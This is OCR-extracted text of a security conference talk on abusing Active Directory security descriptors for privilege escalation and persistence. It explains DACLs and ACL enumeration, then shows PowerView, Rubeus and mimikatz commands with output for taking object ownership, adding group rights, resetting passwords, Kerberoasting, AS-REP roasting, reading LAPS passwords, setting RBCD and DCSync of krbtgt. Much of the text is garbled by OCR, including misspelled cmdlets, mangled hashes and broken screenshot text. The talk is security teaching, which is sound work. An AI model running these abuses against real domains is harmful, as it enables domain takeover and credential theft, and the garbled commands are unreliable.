Understanding Active Directory
Security Descriptors

ATTL4S & ElephantSe4l




# ATTLAS

* Daniel Lépez Jiménez (a.k.a. ATTL4S)
* Twitter: @DanilLl94
e GitHub: @ATTL4S
* Youtube: ATTLA4S

* Loves Windows and Active Directory security
e Senior Security Consultant at NCC Group
* Associate Teacher at Universidad Castilla-La Mancha (MCSI)

Confs: NavajaNegra, No cON Name, h-cOn, Hack&Beers
Posts: Crummie5, NCC Group’s blog, Hackplayers
Certs: CRTO, PACES, OSCP, CRTE

www.crummie5.club



WWW.CRUMMIES.CLUB

www.crummie5.club




The goal of this talk is understanding — from an offensive perspective — Windows
Security Descriptors and how to leverage them in your pentests and operations for

privilege escalation and persistence opportunities
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Agenda

1. Introduction
2. Securable Objects
3. ACL Enumeration

4. Abusing Rights
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Introduction
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Why?

» Active Directory environments consist of countless objects (users, groups,
computers...)

» Security Descriptors provide a way to (mis)configure access relationships
between objects

* Administrators often configure too many permissions

» Legitimate solutions sometimes require high privileges (Exchange, AD
connect...)

* Some privileges are there for legit reasons!

* Abuses of this field include privilege escalation and persistence opportunities
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We are talking about features (no CVE / exploits required)
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Securable Objects
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Securable Objects

A securable object is an object that can have a security descriptor

Examples

Files / directories Named Pipes

Processes / Threads Access Tokens
Windows Desktops Registry Keys
Services Printers

Shares AD Objects

https://docs.microsoft.com/es-es/windows/win32/secauthz/securable-objects?redirectedfrom=MSDN
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Security Descriptors

* A security descriptor contains the security information associated with a
securable object

* A security descriptor can include the following information
e Object Owner (SID)
* Discretionary Access Control List (DACL)

« System Access Control List (SACL) tyﬁi‘;;’: s;:‘i“s:igi?CURITY—DESCRIPTOR {
* Set of control bits UCHAR Sbzl;

SECURITY DESCRIPTOR CONTROL Control;

PSID

PSID Group;
PACL Sacl;

PACL

} SECURITY DESCRIPTOR, *PISECURITY DESCRIPTOR;

https://docs.microsoft.com/es-es/windows/win32/secauthz/security-descriptors www.crummie5.club



ecurity Descriptors (cont.)

Advanced Security Settings for Vegeta ServerAdmin | Securable Object

Owner: Domain Admins (CAP\Domain Admins)
Permissions Auditing Effective Access
For additional information, double-click a permission entry. To modify a permission entry, select the entry and click Edit (if available).

Permission entries:

Type  Principal Acted| . {intrfled FomW 4 Applies to

Allow  Domain Admins (CAP\ : ol A 4 LT This object only

Allow Bulma DA (bulma_da@capsul.. _Wnte all proc_mrties_ N:_:ne : : This object and all descendant..

S8 Allow Account Operators (CAPV fco,. | el Cantrol | "B BG4 i | L This object only
Allow  Authenticated Users @ Sased friis Sl None 4 This object only
Allow  SELF Special None This object only

48 Allow  SYSTEM Full control None This object only

4% Allow  Pre-Windows : =Ce Descendant InetOrgPerson ob..
Allow  Pre-Windows 2000 Compatibl.. . Descendant Group objects
Allow  Pre-Windows 2000 Compatibl.. ] Descendant User objects

Restore defaults

Disable inheritance

https://docs.microsoft.com/es-es/windows/win32/secauthz/security-descriptors www.crummie5.club



Security Descriptors - Object Owners

* Object can modify an object’s
 WriteDACL and RIGHT_READ_CONTROL

Advanced Security Settings for Vegeta ServerAdmin

Domain Admins (CAP\Domain Admins)

Permissions Auditing Effective Access

DACL

For additional information, double-click a permission entry. To modify a permission entry, select the entry and click Edit (if available).
Permission entries:

Type Principal Access Inherited from Applies to
Allow  Domain Admins (CAP\Domain..  Full control None This object only

Allow  Account Operators (CAP\Acco..  Full control None This object only
Allow  Authenticated Users Read permissions None This object only
Special This o

[N | ey o] | Tiazo o

52
3 Allow  Bulma DA (bulma_da@capsul..  Write all properties None This object and all descendant..
52
58
58
o

https://docs.microsoft.com/en-us/windows/win32/secauthz/access-control-lists www.crummie5.club



Security Descriptors - DACL

Advanced Security Settings for Vegeta ServerAdmin

® A iS a I ist Of Access Owner: Domain Admins (CAP\Domain Admins)

CO n t ro I E nt ri e S (AC E S ) B.K;i&ris Auditing Effective Access

For additional information, double-click a permission entry. To modify a permission entry, select the entry and click Edit (if available).

Permission entries:

Type Principal Access Inherited from Applies to
] 88 Allow Domain Admins (CAP\Domain.. Full control MNone This object only
¢ Ea C h AC E d efl n e S W h O Allow  Bulma DA (bulma_da@capsul..  Write all properties None This object and all descendant..
. . SE Allow Account Operators (CAP\Acco...  Full control MNone This object only
( p rl n C I p a | / t r u Ste e ) h a S M8 Allow  Authenticated Users Read permissions None This object only
. . S8 Allow  SELF Special None This object only
p e r m | SS | O n S Ove r t h e 8% Allow  SYSTEM Full control None This object only
S& Allow  Pre-Windows Compatibl.. Special DC=capsu . Descendant InetOrgPerson ob...
CO n Ce r n e d O b i e Ct & Allow  Pre-Windows 2000 Compatibl..  Special 5 d Descendant Group objects
“% Allow  Pre-Windows 2000 Compatibl..  Special Descendant User objects

Disable inheritance

https://www.blackhat.com/docs/us-17/wednesday/us-17-Robbins-An-ACE-Up-The-Sleeve-Designing-Active-Directory-DACL-Backdoors-wp.pdf WWW.crummie5s.club



Passwords.txt

Object’s Security
Descriptors

DACL

Access Denied

ACE 1 S-1-5-21-domain-1004 (wint3r)

Read, Write, Execute

L p— — — — el
~ / Access Allowed e ~
‘/ ACE 2 S-1-5-32-544 (Administrators)
\ S Write e
~ — — -—

*-——_—

N/

Attlds’s Process

Access Token

Groups

Wint3r’s Process

Access Token

User SID

domain


https://docs.microsoft.com/en-us/windows/win32/secauthz/access-tokens
https://docs.microsoft.com/en-us/windows/win32/secauthz/security-descriptors

Security Descriptors - SACL

* Logging attempts to access a secured object

Advanced Security Settings for Vegeta ServerAdmin

Owner: Domain Admins (CAP\Domain Admins)  Change
Permissions Auditing Effective Access

For additional information, double-dlick an audit entry. To modify an audit entry, select the entry and click Edit (if available).

Auditing entries:

Type Principal Access Inherited from Applies to

82 Success Everyone Modify owner None This object and all descendant objects

88 Success Everyone DC=capsule,DC=corp Descendant Organizational Unit objects

8% Success Everyone DC=capsule,DC=corp Descendant Organizational Unit objects

https://docs.microsoft.com/en-us/windows/win32/secauthz/access-control-lists www.crummie5.club



As an attacker, we'd like one of these over an interesting object:

= Being the or controlling its
= Having rights to control/modify its

= Having object-specific rights to compromise it

www.crummie5.club



ACL Enumeration
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DACL DACL

ACE 1 ACE 1
ACE 2 ACE 2
ACE 3 ACE 3

A 4

DACL

ACE 1
ACE 2
ACE 3




ACL Enumeration

* |f doing manual work, focus on interesting objects
* Domains, specific groups, computers, users...

* To get the full picture, you will need to check every-single-object’s DACL
* Bloodhound
* Powerview’s Invoke-ACLScanner

* Filter ACL information to remove junk (we already know DA has privileges...)
e SID > 1000

www.crummie5.club



Advanced Security Settings for|Vegeta Server.

Owner: Domain Admins (CAP\Domain Admins) Change
Permissions Auditing Effective Access

For additional information, double-click a permission entry. To modify a permission entry, select the entry and click Edit (if available).
Permission entries:

Type Principal Access Inherited from Applies to
Allow Domain Admins (CAP\Domain.. Full control None This object only

Bulma DA (bulma_da@capsul.. Write all properties This object and all descendant..

L Allow  Account Operators (CAPVAcco..  Full control None This object only
Allow  Authenticated Users Read permissions None This object only
Allow  SELF Special None This object only
Allow  SYSTEM Full control None This object enly
Allow  Pre-Windows 2000 Compatibl.. Special DC=capsule,DC=corp Descendant InetOrgPerson ob...
Allow  Pre-Windows 2000 Compatibl.. ~Special DC=capsule,DC=corp Descendant Group objects

Allow  Pre-Windows 2000 Compatibl..  Special DC=capsuleDC=corp Descendant User abjects

Add Remove Restore defaults

Disable inheritance

www.crummie5.club



Powerview - DACL

= Get-DomainObjectAcl

LN Administrator: Windo

PowerShell

PS C:\> Get-DomainObjectAcl vegeta_sa

ObjectDN : CN=Vegeta SerwverfAdmin,0OU=Accounts,0U=Tier 1,0U=Admin,DC=ca
ObjectSID : 5-1-5-21-272438138-3995100478-3847831165-1126
ActiveDirectoryRights : ReadProperty

ObjectAceFlags : ObjecthAceTypePresent

ObjectAceType 1 Ac164200-28c0-11d0-2768 -082a006e8529
InheritedObjecthceType : OBB0G0G0-8060-0060-0000-0000006000000
BinarylLength 1 56

AceQualifier : AccessAllowed

IsCallback : False

Opagquelength : B

AccessMask : 16

SecurityIdentifier : §-1-5-21-272438138-3995100478-3847831165-553 |
AceType : AccessfAllowedObject

AceFlags : None

IsInherited False

InheritanceFlags : None

PropagationFlags : None

AuditFlags : None

ObjectDN : CN=Vegeta SerwverfAdmin,0OU=Accounts,0U=Tier 1,0U=Admin,DC=ca
NhiertSTH » §.1-5_-21_-237343R138_39951ARATR - 3IRATRITI1RS5-1126A

e Securityldentifier = Trustee

» ActiveDirectoryRights
* Acelype

https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1
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Powerview - DACL (cont.)

Get-DonsinObjectAd. [OBJECT]
|7 { (.. Securityldentifier -match )
| select Securityldentifier, ActiveDirectoryRights, @{name= ;expression= {Convert-SDToNare $, Securityldentifier }}

PS C:\> Get-DomainObjectAcl -Identity vegeta sa | ? { (§_.SecurityIldentifier -match )} | select Securi
tyIldentifier,ActiveDirectoryRights, @{name= ;expression= {Convert-SIDToName % .SecurityIdentifier }} | f1
SecurityIdentifier : §-1-5-21-272438138-3995100478-3847831165-1121

ActiveDirectoryRights : WriteProperty

Whois : CAP\bulma da

Securityldentifier : 5-1-5-21-272438138-3995100478-3847831165-1106

ActiveDirectoryRights : ExtendedRight

|th:ris : CAP\TierBReplicationMaintenance

https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 www.crummie5.club



AD Module - DACL

(Get-Acl /1) $(Get-AD ser vegeta_sa)').Access
|2 { (Convert-NameToSid $ . IdentityReference) -metch )

PS5 C:\>» (Get-Acl $(Get-ADUser vegeta sa)').Access | ? { ((Convert-NameToSid § .IdentityReference) -match 1}

ActiveDirectoryRights : WriteProperty

InheritanceType : All

ObjectType : PPBPB000-0000-0000-0000 -000000000000
InheritedObjectType : PPBEBP0E-B0Ee - 8080 -8000 - 0EERERRRRR
ObjectFlags : None

MccessControlType : Allow

IdentityReference : CAPA\bulma_da

IsInherited : False

InheritancefFlags : ContainerInherit

PropagationFlags : None

https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.security/get-acl?view=powershell-7 www.crummie5.club



AD Module - Owner

(Get-Acl "/ $(Get-AD er vegeta_sa)').Onwner

LN Administrator: Windows PowerShell

PS C:\> (Get-Acl % (Get-ADUser vegeta sa) ).Owner A
CAP\Domain Admins
PS C:\>

v

https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.security/get-acl?view=powershell-7 www.crummie5.club



Extended Rights

PS C:\»> Get-DomainObjectAcl Bulma | select @{name ;expression= {Convert-SIDTolame % .Securityldentifier }}
| where whois cap\vegeta | fl
ObjectDN : CN=Bulma,0U=Enabled Users,0U=User Accounts,DC=capsule,DC=corp
0ObjectSID : 5-1-5-21-272438138-3995100478-3847831165-1122
ctiveDirectoryRights Extendedﬁightl
ObjectAcefFlags : ObjectAceTypePresent
bjectAceType : 80299570-246d-11d@-a768-00aa0B6e0529|
InheritedObjectAceType : 988080080 -0000-0000-8000-000000000600
BinarylLength : 56
AceQualifier : AccessAllowed
IsCallback ! False .
PR i User-Force-Change-Password extended right
AccessMask : 256 05/31/2018 « 2 minutes to read - & G &
SecurityIdentifier 1 5-1-5-21-272438138-3995180478-
AceType : AccessAllowedObject Permits resetting a password on a user acco
AceFlags : ContainerInherit
IsInherited ! False
InheritanceFlags : ContainerInherit CN User-Force-Change-
PropagationFlags : None
AuditFlags : MNone Display-Name
Whois : CAPA\Vegeta

Rights-GUID

https://docs.microsoft.com/en-us/windows/win32/adschema/control-access-rights www.crummie5.club



ACL Abuses
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Right Categories

* Generic rights: grouping of different specific rights

* Control rights: allow controlling objects by modifying their ownerships or DACLs

* Object-specific rights: depending the right over the concerned object, they may
allow compromising it

https://www.blackhat.com/docs/us-17/wednesday/us-17-Robbins-An-ACE-Up-The-Sleeve-Designing-Active-Directory-DACL-Backdoors-wp.pdf WWW.crummie5s.club



Generic Rights

e GenericAll

 GenericWrite

Permissions:

[[]Full control | GenericAll

[] List contents

[[]Read all properties

[]Write all properties| GenericWrite
[] Delete

[T] Delete subtree

[[]Read permissions

[] Modify permissions

[ ] Modify owner

[JAllvalidated writes

[] Al extended rights

[] Create all child objects

[] Delete all child objects

[] Create ms-net-ieee-B0211-GroupPoli
[] Delete ms-net-iece-80211-GroupP

[] Create ms-net-ieee-28023-GroupPo

objects

bjects

[] Delete ms-net-ieee-8023-GroupPolicy objects

[] Allowed to authenticate
[] Change password

[ ]Receive as

[ Reset password

[J5end as

www.crummie5.club




Permissions:
[ Full control
[ List contents
[71Read all properties
21 Write all properties
[ Delete
[z Delete subtree
[ Read permissions
2 Modify permissions
] Modify owner
(1 All validated writes
[] All extended rights

Properties:

[z Read all properties

[ Write all properties

[z Read account restrictions
71 Write account restrictions
[z] Read general information
[ Write general information
[z1 Read group membership

[ Read logon information

M rita lnman infarmatice

[ Create all child objects

2 Delete all child objects

[ Create ms-net-ieee-80211-GroupPolicy objects
1 Delete ms-net-ieee-80211-GroupPolicy objects
[ Create ms-net-ieee-8023-GroupPalicy objects
1 Delete ms-net-ieee-8023-GroupPolicy objects
[ Allowed to authenticate

= Change password

[ Receive as

[ Reset password

[~ Send as

2 Read msDS-OperationsForAzTaskBL
[ Read msDS-parentdistname

[ Write msDS-parentdistname

4 Read msDS-preferredDatalocation

[l Write msDS-preferredDatalocation

4 Read msDS-PrimaryComputer

[<] Write msD5S-PrimaryComputer

4 Read msD5-PrincipalName

1 \WAlrita pac DS _Drincimalblamas

Properties:

Read all properties
[ Write all properties
[ Read account restrictions
7 Write account restrictions

Read general information
[2 Write general information
[ Read group membership
[1Read logon information
1 Write logon information
[1Read personal information
4 Write personal information
[1Read phone and mail options
[ Write phone and mail options
[ Read private information
21 Write private information
[1Read public information
1 Write public information
(1 Read remote access information
[ Write remote access information

(1 Read Terminal Server license server

-1 Write Terminal Server license senver

1 Read msDS-OperationsForAzTaskBL
1 Read msDS-parentdistname

2 Write msDS-parentdistname

1 Read msDS-preferredDatalocation

(4 Write msDS-preferredDatalocation

(1 Read msDS-PrimaryComputer

(2 Write msDS-PrimaryComputer

(1 Read msDS-PrincipalName

(41 Write msDS-PrincipalName

[1Read msDS-PSOApplied

] Read msDS-ReplAttributeMetaData
4 Write msDS-ReplAttributeMetaData
1 Read msDS-ReplValueMetaData

(<1 Write msDS-ReplValueMetaData

1 Read msDS-ReplValueMetaDataExt

(4 Write msDS-ReplValueMetaDataExt
1 Read msDS-ResultantPSO

(< Write msDS-ResultantPSO

1 Read msDS-RevealedDSAs

(1 Read msDS-RevealedListBL

1 Write msNS-Rovealedl istBl

www.crummie5.club




Control Rights

 WriteDacl
e WriteOwner

Permissions:

[]Full control [] Create all child objects

[ List contents [] Delete all child objects

[]Read all properties [] Create ms-net-ieee-80211-GroupPaol
[]wirite all properties [] Delete ms-net-ieee-80211-GroupPolicy

[ | Delete [] Create ms-net-ieee-8
[] Delete subtree [] Delete ms-net-ieee-8
[] Allowed to authenticate
WriteDacl []Change password
) WriteOwner [ ] Receive as
alidated writes [] Reset password
] &ll extended rights []5end as

www.crummie5.club



Control Rights (cont.)

Set-DomainCbjectOwner -Identity —Owneridentity Bulma -Verbose

EN Administrator; Windows PowerShell — O
PS C:\Usersh\Administrator\Desktop> . .%PowerView.psl S
PS C:\Usersh\Administrator\Desktop> Set-DomainObjectOwner Bulma

VERBOSE: [Get-DomainSearcher] search base: LDAP://DC@1.CAPSULE.CORP/DC=CAPSULE,DC=CORP
VERBOSE: [Get-DomainObject] Get-DomainObject filter string:

(&(| (] (samiccountName=Bulma) (name=Bulma) (displayname=Bulma))))
VERBOSE: [Get-DomainSearcher] search base: LDAP://DC@1.CAPSULE.CORP/DC=CAPSULE,DC=CORP

VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(sambccountName=Tier 1 Admins)(name=Tier 1
Admins) (displayname=Tier 1 Admins))))
VERBOSE: [Set-DomainObjectOwner] Attempting to set the owner for 'Tier 1 Admins Advanced Security Settings for Tier 1 Admins
PS C:\Usersh\Administrator\Desktop> -

Owner: Bulma (bulma@capsulecorp)

Permissions Auditing Effective Access

www.crummie5.club



Control Rights (cont.)

Add-DoreinCbjectAd ~Targetldentity ~Principalldentity Bulma ~Rights WiteMerrbers -Verbose

EN Administrator: Windows PowerShell — d

PS C:\Usersh\Administrator\Desktop> Add-DomainObjecticl Bulma WriteMembers
VERBOSE: [Get-DomainSearcher] search base: LDAP://DCB1.CAPSULE.CORP/DC=CAPSULE,DC=CORP

VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=Bulma)(name=Bulma)(displayname=Bulma))))

VERBOSE: [Get-DomainSearcher] search base: LDAP://DC@1.CAPSULE.CORP/DC=CAPSULE,DC=CORP

VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=Tier 1 Admins)(name=Tier 1 Admins)(displayname=Tier 1
Admins))))
VERBOSE: [Add-DomainObjectAcl] Granting principal CN=Bulma,0U=Enabled i oo
Admins,0U=Groups,0U=Tier 1,0U=Admin,DC=capsule,DC=corp Advanced Security Settings for Tier 1 Admins

VERBOSE: [Add-DomainObjectAcl] Granting principal CN=Bulma,0U=Enabled
"bf9679c0-0deb-11d0-a285-002a883049e2" on CN=Tier 1 Admins,OU=Groups,0
PS C:\Users\Administrator\Desktop>

= Owner: Bulma (bulma@capsulecorp) C

Permissions Auditing Effective Access

For additional information, double-click a permission entry. To modify a permission entry, select the entry and click Edit (if available).

Permission entries:

Type Principal C Inherited from Applies to -
| a Allow  Bulma (bulma@capsule.corp) Special This object only

www.crummie5.club



Object-specific Rights

* Users

* Groups

* GPOs

* OUs

* Computers

e Domains

www.crummie5.club



Object-specific Rights - Users

* Things you could do

] Reset password

* Resetting passwords
* Kerberoasting

* As-Reproasting [ Write userAccountControl

1 Write msD5-PrincipalName

Y
s}a|/

[1 Write scriptPath ¢ = b

PS C:\> net user Bulma Patatasl?23 /domain
The command completed successfully.

PS5 C:\>

www.crummie5.club



PS C:\> Set-DomainObject -Identity Bulma -SET @{serviceprincipalname= } -Verbose

VERBOSE: [Get-DomainSearcher] search base: LDAP://DC@1.CAPSULE.CORP/DC=CAPSULE,DC=CORP

VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountMame=Bulma)(name=Bulma)(displayname=Bulma)}))
VERBOSE: [Set-DomainObject] Setting 'serviceprincipalname' to "Arbitrary/SPN' for object 'bulma’

P5 C:\» Invoke-Kerberoast Bulma

SamAccountName : bulma

DistinguishedName : CN=Bulma,OU=Enabled Users,0U=User Accounts,DC=capsule,DC=corp

ServicePrincipalName : Arbitrary/SPN

TicketByteHexStream

Hash : $krb5tgs$23%*bulma$capsule. corp$hrbitrary/SPN*$5B899885A5EBA25F276B0826E581DE156%ECB74C0810B283C44D7ADCIAIAESSBEDALF2TAC

DDDRCA1F506BBFE91EE33D8F7DCO413608E374672D180ER967C2CE35CCY3AF969F68CDOADS7EBBIFDB781B2A8C982038AB3BF9889F@38CDD73DBO53
CDE28CE24E53188D6E841ACF34253ECD297A121D2600896E6111A1DB68867BF3F1DB619817EAFS@84FCO1ABO2EECEFEF21D1601319792749A4797D49
DAABSE2F847779DD65DACEB2B9BFECSBBB577EA2B0D56C668381A78ADA382BBEBEEFE6RBCCIFA6CTF3EEDDDBCAFFAVAGEDEY8DA433E429CBBDBATE862
D84DBCCSCBY34FBC8778BB132DFC79DFBA96BBCE1314AE38CF853646920F675613118CCDCSDAEEB7FEEBBACFOALB139CCA47FEDB1SABALID1TESABAG
ABBABS5686EBCS55D5589C1DDFEABF198DBDSAACT1B294E143EEC346F5F0ABCDREIDDDCTE50789DA1234B987FO729A4AD596E5852008A0398C31AADABS
2F7F81420CEC542C7CT71445E8BFOD337B6CABFCAGESABL190CCAGTADCOBAEAQESOBTASFDFAFCCOFECA8213606200821590291ECCACAS38DE2CAAAAG
BE34A55A87683184C376F6C8804CEADBIAACEESBA367EDD6A61C6BDAII3ASE6FCCE3EDEDABT3BCADCE3874458DBE781AACHD5CO1B11A2E39C543622
7B4A981CC3E13B886FD53C64155378FA24618D9C6E28841A8FFA205764451E3EF66718ACABIADIAASS3FA6ABECEBS22977FB9BB197E2D717ES7F3B97
FDE79B741068ED19764AB668CE330EEC6O8CF1A6CAACASFDDI2FF3ESFA338F5FALAB23776D2827A2COF5CA9C24FB633E42C1475F5D3F389E29B5EB1
SE14AD2F194FADG274B7EBB2DB3F619C9F30AB53FF35948293C3512DC1B55303476ED27CCDEGS73AB3EATEBI8147363D62FAC2BEED3BASBCAEABI YT
3DB4BA9FE422B2D93695186A39CCAF937E13284AD4992A473DCEBES7B717E336D8432023B48C303B908B4BESDDA95FD78B35FD7924CA68168345114
83DBF3BB3E6D7EG15400FBCEDAE28DCEEDT61B38742952122A81ACF7765C11B8CDEDCS55A92822BCA3BC86FEEFDF2CABFABDAYS1BCA37EFBS49372E
BAB3D@eCD29BB3DESE7FO2ABCB788985D260F72EEF6DAEEEF2BE210A20145B7E29F18582D49A8E3D6EBCSDABFDF7749571DFEBCEB38C1B2DESC2CFCF
F1F5554C7B062EB7AGEEF189ACO1FF896243E7D87614139861D08B1A125B50054FB99DD7ECB992961584B38E876848CFEFOD5ARBET7337AT6242FD5C
2EB3DABE7BBECBDFDFECA16C68637920CFA1B28798AB13B27E4A16ABA3CEFE92236875639CC2585585FA55BBC8FE2FAZO3DAF3AB9FDE8IDBECIA4FAS
ACBFF2C198EFO1E7BECDF49B64C560558DA80181BD6BBBE27C8E8656CEGACE2CFEOFDDEF52CB5A5794917CAFABBF978D42179F6F6TAAT7EBDE3561E
SB784FBFAY5416E1663763027AC523CDO717689450345488EC5D3FE772173582BA310DFF3610A5BFC759367FBD46D29A2BFEFE3DBSF7CBABCRBEA4CDY
778B67CC6DABYDBDDE9A2869BDESE18644AF3FESADBGEEGC3ASTFABCEOS5D3490CA2BEEERSVETS54B63D1EEBF187532ADDC2ES27AFDS86FAE32FECCASC
52BBO9FE43869DC91441CA185478DECBB14B1476670F332132E14A38284D8AFBET63

PS C:\> Set-DomainObject -Identity Bulma -Clear serviceprincipalname -Verbose

VERBOSE: [Get-DomainSearcher] search base: LDAP://DC@1.CAPSULE.CORP/DC=CAPSULE,DC=CORP

VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=Bulma)(name=Bulma)(displayname=Bulma))))
VERBOSE: [Set-DomainObject] Clearing "serviceprincipalname’ for object "bulma’

PS5 C:\>»
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PS C:%\> Set-ADAccountControl -Identity

Bulma -DoesNotRequirePreluth $true -Verl
VERBOSE: Performing the operation "5et" on target "CN=Bulma,0OU=Enabled Users,0

‘capsule. corpibulma’

PS C:\> .‘\Rubeus.exe asreproast fuser:bulma
(A | |
) -
| — /L0 N —
LN 1Dy ) |
Y T O ) Y4 ) | G
vl.5.8

[#] Action: AS-REP roasting

[#] Target User : bulma

[#] Target Domain : capsule.corp

[*] Searching path

[#] SamAccountName : bulma

[#] DistinguishedName

[*]

[*] Building AS-REQ (w/o preauth) for:

[+] AS-REQ w/o preauth successful!

[*] AS-REP hash:

b
L

0

Us

e

ser Accounts,DC=capsule,DC=corp”.

"LDAP: //dcBl.capsule.corp/DC=capsule,DC=corp’ for AS-REP roastable users

: CN=Bulma,0U=Enabled Users,0U=User Accounts,DC=capsule,DC=corp
Using domain controller: dcBl.capsule.corp (fe88::b529:79%ad:5e98:e5e7%13)

$krb5asrepfbulmag@capsule. corp:BBC94228F327DE1C98FFDB143D192F94%01A1BAFDDET2FF@CT
13E64A3E386EFSA2EAACASRABASFDBB1BASFSB28D645F27498B88E3EED248BAS4A75ED961FACABATC
97853FATED1ASFBE2C992662CAA8CT76F26DFE13ABS1AC217230D7AB855AEBEBBBE37A9575E3653EEFR
BAAGBAESESCAS3SEBBCECH5101BB1AB2CFISAFBFEDAIAFBCTIFFA2ARAGA255F3EEDE6215F6B1121AA
1318D89FDY13D7CD4A52A08607FEE7BBAC2973I1FEET73654CAABEFS568D1656FF59BCYBR14B79CFA51D
1EEBSBAES96A2AZ21658B409A9E75548A20324C36376835701A44853EADB3EATFC2DAAASASA2BAB94]
DOFFFeD7AF168E258E25ADFEVAEALLIFS6ACI962BFAABAZABSSEE53D
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Object-specific Rights - Groups

 Things you could do

° Adding new members [1Write Managed By

1 Add/remove self as member

1 Write Members

PS C:%> net group Mutenroshi fadd /domain
The command completed successfully.

PS5 C:\>
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Object-specific Rights - GPOs

 Things you could do

* Editing GPOs

Default Domain Policy
Scope Details Settings Delegation

These groups and users have the specified permission for this GPO

Groups and users:

Name

q , Authenticated Users

52 Domain Admins (CAP\Domain Admins)

f:ﬂ_ Enterprise Admins (CAP\Enterprise Admins)
42 ENTERPRISE DOMAIN CONTROLLERS

sule.

42 SYSTEM

Allowed Permissions

Read (from Security Filtering)
Custom

Custom

Read

Edi
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A0

Home Share View

y & Cut = -i| B New item ~ | | open ~ [ select all
= + :I( ——J Edit

W] Copy path 1 | Easy access ¥ Select none

Pin to Quick Copy Paste Move Copy  Delete Rename MNew Properties

| Paste shortcut to - o - foldar DD Invert selection

acCess

Clipboard Organize MNew Open Select

v T « capsulecorp > Policies » {6AC1786C-016F-11D2-945F-00C04fB984F9} > MACHINE > Microsoft > Windows NT > Seckdit v U | Search SecEdit

o~

Name Date modified Type Size
7 Quick access

[ Desktop
¥ Downloads

| GptTmpl 15/04/2020 23:27 Setup Information

| GptTmpl - Notepad

= Documents File Edit Format View Help

=/ Pictures New CtrlsN ege = *S-1-5-32-549,%5-1-5-32-544

PAW Open.. Cirls0  S-1-5-32-549,%5-1-5-32-551,%*5-1-5-32-544

&

Save Ctrl+S _8_1_5_32_544 ) ) )
Save As #5-1-5-32-550,%5-1-5-32-549,%5-1-5-32-551,%5-1-5-32-544
winlogbeat-7.7.1-wi vilege = *5-1-5-32-544
. Page Setup... ge = *$-1-5-80-3139157870-2983391045-3678747466-658725712-1809340420, *
A This PC Print.. Ctrl+P = *§-1-5-32-549,%5-1-5-32-544,%5-1-5-19

Exit pe = *S$-1-5-32-544
STUNUULKFT 1vitege — 3-1-5-32-544
SeEnableDelegationPrivilege = *S-1-5-32-544, Rl iy plEyE - elele oy 1oLy et g 5 b el b W
[version]

System32

¥ Network

LU PRl R R o al Wa ot g 1

Windows (CRLF) Ln 32, Col 46 100%

Titem 1 item selected 3,67 KB =
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Interesting Links

e Will Schroeder — Abusing GPO Permissions
* http://www.harmjOy.net/blog/redteaming/abusing-gpo-permissions/

e Rastamouse — GPO Abuse
* https://rastamouse.me/blog/gpo-abuse-ptl/
* https://rastamouse.me/blog/gpo-abuse-pt2/

e WaldO - A Red Teamer’s Guide to GPOs and OUs
* https://wald0.com/?p=179
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Object-specific Rights - OUs

 Things you could do

* Linking arbitrary GPOs
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Object-specific Rights - OUs (cont.)

AD Member

sp Com promise

Compromised Member
Server

https://markgamache.blogspot.com/2020/07/exploiting-ad-gplink-for-good-or-evil.html www.crummie5.club



Object-specific Rights - Computers

 Things you could do

e Reading LAPS password
¢ Settlng KerberOS RBCD [ ] Read ms-Mcs-AdmPwd

[] Write msD5-AllowedToActOnBehalfOfOtherldentity

www.crummie5.club



PS C:\ProgramData> Get-DomainComputer dt#* -Froperties name,ms-mcs-admpwd | 1
name : DTOPeal
ms-mcs-admpwd @ SKIxY7vs2mmH{@8n84# ; &1H/#k{B8d38LZh{W{uj34nxy;Qjb] ;9&&BEG ! &4(+ud+{+

name : DTOP@B2
ms-mcs-admpwd : 60tE+68]W29%m7a+Yx,/ 292 |bD14N2ZXTP}5Ix ;44T Im{&%5CLEKDAS5@0rCBNL ) +wD

name : DTOP@8s
ms-mcs-admpwd : +Y2C98V3IBTY+- TNABmT&hIYge; ¥0teutmIALIZOKUEMFKTVPO&) 27@%- SER+5 v/

name : DTOP@ad
ms-mcs-admpwd : m.L53({%K;wls4X,6Hh9d !#2pYjI%hel3c{ao@2g/ RBM22-KhQ#1ks,wlb! zeI6d

name : DTOP@as
ms-mcs-admpwd : 2s7Iml1TFolF{3P21&B3#LwtCH#20ymlTs#n2kk®%+R/I1)5329% . Anuwd7 39X44V+w}
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¥ Administrator: Windows PowerShell

PS C:%> Set-ADComputer PawB1l$ Wse1% ~
VERBOSE: Performing the operation "Set” on target "CN=PAWOL1,0U=Devices,0U=Tier 1,0U=Admin,DC=capsule,DC=corp”.
PS5 C:\>

W
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Object-specific Rights - Domains

= Things you could do

= DCSync

[] Replicating Directory Changes

[1 Replicating Directory Changes All
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& mimikatz 2.1.1 x64 (oe.e0)

AR mimikatz 2.1.1 (x64) #17763 Dec 9 2018 23:56:50

A~ . "A La Vie, A L'Amour™ - (oe.eo) ** Kitten Edition **

## / \ ## /*** Benjamin DELPY “gentilkiwi”™ ( benjamin@gentilkiwi.com )

iHE \ S i > http://blog.gentilkiwi.com/mimikatz

“HE v i Vincent LE TOUX ( vincent.letoux@email.com )
" it " > http://pingcastle.com / http://mysmartlogon.com k& f

mimikatz # lsadump::dcsync fuser:krbtgt
[DC] 'capsule.corp’ will be the domain
[DC] 'dc@l.capsule.corp' will be the DC server
[DC] "krbtgt' will be the user account

Object RDM : krbtgt
*% SAM ACCOUNT **

SAM Username . krbtgt

Account Type . 30000000 ( USER _OBIECT )

User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration :

Password last change : 15/04/2020 23:27:59

Object Security ID : 5-1-5-21-272438138-39951804/78-3847831165-582
Object Relative ID . 582
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Interesting Links

Will Schroeder

https://www.blackhat.com/docs/us-17/wednesday/us-17-Robbins-An-ACE-Up-The-Sleeve-Designing-Active-Directory-DACL-Backdoors-wp.pdf
https://www.blackhat.com/docs/us-17/wednesday/us-17-Robbins-An-ACE-Up-The-Sleeve-Designing-Active-Directory-DACL-Backdoors.pdf
